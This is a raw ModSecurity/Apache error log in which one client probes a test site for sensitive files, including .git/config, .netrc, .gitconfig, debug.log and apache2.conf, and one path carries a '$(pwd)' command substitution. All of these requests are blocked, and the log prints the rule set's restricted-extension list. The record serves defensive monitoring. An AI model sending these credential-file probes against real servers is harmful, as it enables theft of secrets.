[Fri Mar 13 10:38:48.854111 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config.old"] [unique_id "abPbKNw5WhVPlcU-Rd0stQAAAAY"]
[Fri Mar 13 10:38:48.854370 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config.old"] [unique_id "abPbKNw5WhVPlcU-Rd0stQAAAAY"]
[Fri Mar 13 10:38:48.854566 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config.old"] [unique_id "abPbKNw5WhVPlcU-Rd0stQAAAAY"]
[Fri Mar 13 10:38:48.854692 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config.old"] [unique_id "abPbKNw5WhVPlcU-Rd0stQAAAAY"]
[Fri Mar 13 10:38:48.877087 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config~"] [unique_id "abPbKNw5WhVPlcU-Rd0stgAAAAY"]
[Fri Mar 13 10:38:48.877290 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config~"] [unique_id "abPbKNw5WhVPlcU-Rd0stgAAAAY"]
[Fri Mar 13 10:38:48.877437 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config~"] [unique_id "abPbKNw5WhVPlcU-Rd0stgAAAAY"]
[Fri Mar 13 10:38:48.899577 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/"] [unique_id "abPbKNw5WhVPlcU-Rd0stwAAAAY"]
[Fri Mar 13 10:38:48.899789 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/"] [unique_id "abPbKNw5WhVPlcU-Rd0stwAAAAY"]
[Fri Mar 13 10:38:48.899953 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/"] [unique_id "abPbKNw5WhVPlcU-Rd0stwAAAAY"]
[Fri Mar 13 10:38:48.945113 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Matched phrase ".gitconfig" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .gitconfig found within REQUEST_FILENAME: /root/.gitconfig"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/root/.gitconfig"] [unique_id "abPbKNw5WhVPlcU-Rd0suQAAAAY"]
[Fri Mar 13 10:38:48.946255 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/root/.gitconfig"] [unique_id "abPbKNw5WhVPlcU-Rd0suQAAAAY"]
[Fri Mar 13 10:38:48.946421 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/root/.gitconfig"] [unique_id "abPbKNw5WhVPlcU-Rd0suQAAAAY"]
[Fri Mar 13 10:38:48.968963 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Matched phrase ".netrc" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .netrc found within REQUEST_FILENAME: /root/.netrc"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/root/.netrc"] [unique_id "abPbKNw5WhVPlcU-Rd0sugAAAAY"]
[Fri Mar 13 10:38:48.969245 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/root/.netrc"] [unique_id "abPbKNw5WhVPlcU-Rd0sugAAAAY"]
[Fri Mar 13 10:38:48.969428 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/root/.netrc"] [unique_id "abPbKNw5WhVPlcU-Rd0sugAAAAY"]
[Fri Mar 13 10:38:49.014454 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Matched phrase ".gitconfig" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .gitconfig found within REQUEST_FILENAME: /home/*/.gitconfig"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/home/*/.gitconfig"] [unique_id "abPbKdw5WhVPlcU-Rd0svAAAAAY"]
[Fri Mar 13 10:38:49.014651 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/home/*/.gitconfig"] [unique_id "abPbKdw5WhVPlcU-Rd0svAAAAAY"]
[Fri Mar 13 10:38:49.014773 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/home/*/.gitconfig"] [unique_id "abPbKdw5WhVPlcU-Rd0svAAAAAY"]
[Fri Mar 13 10:38:49.036905 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Matched phrase ".netrc" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .netrc found within REQUEST_FILENAME: /home/*/.netrc"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/home/*/.netrc"] [unique_id "abPbKdw5WhVPlcU-Rd0svQAAAAY"]
[Fri Mar 13 10:38:49.037095 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/home/*/.netrc"] [unique_id "abPbKdw5WhVPlcU-Rd0svQAAAAY"]
[Fri Mar 13 10:38:49.037220 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/home/*/.netrc"] [unique_id "abPbKdw5WhVPlcU-Rd0svQAAAAY"]
[Fri Mar 13 10:38:49.082777 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Matched phrase ".gitconfig" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .gitconfig found within REQUEST_FILENAME: /~/.gitconfig"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/~/.gitconfig"] [unique_id "abPbKdw5WhVPlcU-Rd0svwAAAAY"]
[Fri Mar 13 10:38:49.082980 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/~/.gitconfig"] [unique_id "abPbKdw5WhVPlcU-Rd0svwAAAAY"]
[Fri Mar 13 10:38:49.083113 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/~/.gitconfig"] [unique_id "abPbKdw5WhVPlcU-Rd0svwAAAAY"]
[Fri Mar 13 10:38:49.105688 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Matched phrase ".netrc" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .netrc found within REQUEST_FILENAME: /~/.netrc"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/~/.netrc"] [unique_id "abPbKdw5WhVPlcU-Rd0swAAAAAY"]
[Fri Mar 13 10:38:49.105884 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/~/.netrc"] [unique_id "abPbKdw5WhVPlcU-Rd0swAAAAAY"]
[Fri Mar 13 10:38:49.106035 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/~/.netrc"] [unique_id "abPbKdw5WhVPlcU-Rd0swAAAAAY"]
[Fri Mar 13 10:38:49.127764 2026] [authz_core:error] [pid 2664180] [client 185.177.72.49:14596] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/.git
[Fri Mar 13 10:38:49.150465 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /$(pwd)/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/$(pwd)/.git/config"] [unique_id "abPbKdw5WhVPlcU-Rd0swgAAAAY"]
[Fri Mar 13 10:38:49.150665 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/$(pwd)/.git/config"] [unique_id "abPbKdw5WhVPlcU-Rd0swgAAAAY"]
[Fri Mar 13 10:38:49.150804 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/$(pwd)/.git/config"] [unique_id "abPbKdw5WhVPlcU-Rd0swgAAAAY"]
[Fri Mar 13 10:38:49.243823 2026] [:error] [pid 2664145] [client 185.177.72.49:14600] [client 185.177.72.49] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-content/debug.log"] [unique_id "abPbKXsA15YdMX9id2CA_AAAAAI"]
[Fri Mar 13 10:38:49.244235 2026] [:error] [pid 2664145] [client 185.177.72.49:14600] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-content/debug.log"] [unique_id "abPbKXsA15YdMX9id2CA_AAAAAI"]
[Fri Mar 13 10:38:49.244384 2026] [:error] [pid 2664145] [client 185.177.72.49:14600] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-content/debug.log"] [unique_id "abPbKXsA15YdMX9id2CA_AAAAAI"]
[Fri Mar 13 10:38:49.311770 2026] [:error] [pid 2664145] [client 185.177.72.49:14600] [client 185.177.72.49] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/etc/apache2/apache2.conf"] [unique_id "abPbKXsA15YdMX9id2CA_wAAAAI"]
[Fri Mar 13 10:38:49.312190 2026] [:error] [pid 2664145] [client 185.177.72.49:14600] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/etc/apache2/apache2.conf"] [unique_id "abPbKXsA15YdMX9id2CA_wAAAAI"]
[Fri Mar 13 10:38:49.312313 2026] [:error] [pid 2664145] [client 185.177.72.49:14600] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/etc/apache2/apache2.conf"] [unique_id "abPbKXsA15YdMX9id2CA_wAAAAI"]
